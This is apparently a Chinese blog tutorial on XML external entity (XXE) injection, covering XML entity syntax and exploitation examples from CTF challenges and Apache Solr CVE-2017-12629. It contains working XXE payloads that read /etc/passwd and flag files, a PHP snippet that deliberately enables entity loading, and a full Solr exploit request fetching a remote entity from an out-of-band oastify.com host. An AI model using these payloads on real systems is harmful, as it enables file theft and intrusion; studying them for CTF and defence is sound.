XXE
XXE
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面
XML基础
基础语法
<?xml version=’1.0’?>//声明XML解析器版本
<root>//根元素
<sub1>1</sub1>//子元素1
<sub2>2</sub2>//子元素2
</root>
XML中,标签名就是变量名,标签里面的数据就是变量的值
在XML中某些单独字符,如'
"
<
>
都不允许直接出现在XML文档中
XML实体
XML的结构
XML由XML声明,DTD部分,XML部分三部分组成
DTD部分用来定义 XML 文档的合法构建模块
XML的实体
实体类型 | 声明 | 引用 | 范围 |
---|---|---|---|
一般实体 | <!ENTITY 实体名称 "实体内容"> |
&实体名称; |
一般实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。 |
参数实体 | <!ENTITY % 实体名称 "实体内容"> |
%实体名称; |
参数实体必须定义在单独的DTD区域,这种实体相对灵活,这种功能在漏洞利用场景的外部实体注入(XXE)过程中非常有用 |
常用的两种实体
XXE的利用
读取文件
简单的读文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY file SYSTEM "file:///flag"> ]>
<creds>&file;</creds>
ctfshow web373
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
非常基础的读文件
miniL 2023 fakeLogin
xxe读文件配合flask算Pin RCE
从登录包中可以看到,用户名和密码是以xml形式传递的,尝试了一下,不能引入外部实体,回显点在登陆失败的信息里面,
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><username>
&xxe;
</username><password>123456</password></user>
读取文件最后算Pin
Apache Solr XXE漏洞(CVE-2017-12629)
GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fxxe.3rv9qscoh8nfzrgvtt0q8wti69c00p.oastify.com%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: 39.101.70.33:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
本文作者:V3g3t4ble
本文链接:https://www.cnblogs.com/V3g3t4ble/p/17282941.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步